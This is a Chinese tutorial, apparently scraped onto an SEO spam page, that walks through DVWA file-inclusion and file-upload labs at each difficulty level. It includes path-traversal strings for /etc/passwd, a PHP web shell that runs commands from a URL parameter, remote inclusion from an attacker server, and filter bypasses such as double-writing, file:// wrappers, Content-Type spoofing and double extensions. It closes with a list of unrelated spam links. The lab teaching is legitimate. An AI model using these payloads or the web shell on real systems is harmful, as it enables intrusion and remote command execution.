当前位置: 首页 > news >正文

wordpress 个性插件网站整体优化

wordpress 个性插件,网站整体优化,外包加工网可靠吗会员注册300元,继续好商会网站建设文件包含 本地文件包含(敏感信息泄露)和远程文件包含(命令执行) 本地文件包含一般包含一些本地的敏感文件,如:/etc/passwd或/etc/shadow等 远程文件包含能使得服务器代码执行,如包含黑客vps的…

文件包含

本地文件包含(敏感信息泄露)和远程文件包含(命令执行)

  • 本地文件包含一般包含一些本地的敏感文件,如:/etc/passwd或/etc/shadow等

  • 远程文件包含能使得服务器代码执行,如包含黑客vps的http://192.168.72.162:8000/shell.php文件,而文件内容如下:<?php system('whoami')?>

测试环境

本地文件包含不用什么测试环境,只要有个文件,就能知道其是否触发,远程文件包含需要我们写个php代码,如下

<?php
echo "this is the remote file"."\n";
system($_GET['a']);
?>

然后python -m http.server 开个服务器,让dvwa能包含我们的php代码

easy
  • linux服务下的本地文件包含

../../../../../../etc/passwd
  • windows服务下的本地文件包含

我的php网站部署在F盘,在F盘下放一个test.txt
​
../../../../../../test.txt能将文件读出
或者直接绝对路径:
​
C:/Windows/system.ini
  • 远程文件包含

http://www.oswe.com/dvwa/vulnerabilities/fi/?page=http://192.168.72.162:8000/shell.php&a=whoami
​
访问成功如下图:

 

medium
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
​
方法1:
直接输入绝对路径
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=F:/test.txt
正常输出
​
方法2:双写绕过
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=
..././..././..././..././..././..././..././..././test.txt
​
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.72.162:8000/shell.php&a=whoami
high
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
上面的逻辑是,如果参数没有file字符串,且不是include.php,直接过滤,所以这个情况不能使用远程文件包含了
我们通过伪协议file bypass
​
page=file:///C:/Windows/system.ini或
page=file:///../../../../../../../../test.txt
impossible
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
后台只允许包含这4个文件

文件上传

文件上传只有medium、high、impossible三种难度

准备个php脚本

<?php
system($_GET['a']);
?>
medium
检测:请求头
​
抓包,修改数据包,直接过
Content-Type: image/jpeg
high
检测:后缀是否为jpg、jpeg、png
​
上传
shell.php.jpg或shell.php.png都能被解析为php文件(总感觉哪里很怪)

 

impossible
imagecreatefrompng
imagecreatefromjpeg
由文件或url创建一个新图像,如果解析图像失败会报错
​
上传的文件会成为md5值.png或md5值.jpg的形式,web服务器不会将其解析为php文件
http://www.shuangfujiaoyu.com/news/60331.html

相关文章:

  • 商丘网站建设费用网络推广求职招聘交流群
  • 单位网站建设费用账务处理微信公众平台开发
  • 新都区建设局网站域名查询站长工具
  • 旅游网站排行榜前20seoul是哪个国家
  • 邢台做外贸网站网络广告策划与制作
  • 手机壳定制网站制作关键词挖掘站长工具
  • 个人网站怎么接广告哈尔滨seo整站优化
  • 做建材批发的网站网站关键词快速排名技术
  • 网站定制青岛网站建设公司排名
  • 新手学做网站从哪里开始网站关键词推广价格
  • wordpress背景设置怎样优化标题关键词
  • 上海网站建设 迈搜索大全
  • wordpress menu 插件seo具体seo怎么优化
  • 淄博专业做网站一站式媒体发布平台
  • 网页设计实训总结ppt滕州网站建设优化
  • 关于做摄影网站广西网络优化seo
  • 广东网站建设服务商国外网站加速
  • 做营销的网站株洲网站建设
  • 辽宁建设工程信息网网站seo推广服务哪家好
  • 广东建泰建设有限公司网站网页制作
  • 云南建设厅网站网络服务商主要包括
  • 文学类网站怎么做大数据营销精准营销
  • 网站制作成本百度文库网页版
  • 网站百度指数分析百度域名提交收录网址
  • 济南市做网站的公司宁波seo推广费用
  • 高端外贸网站制作百度站长链接提交
  • 做那个男女的视频网站工业设计公司
  • 自助建站和网站开发的利弊国外引擎搜索
  • wordpress ios客户端手机优化专家下载
  • 网站后台上传图片无法显示杭州做搜索引擎网站的公司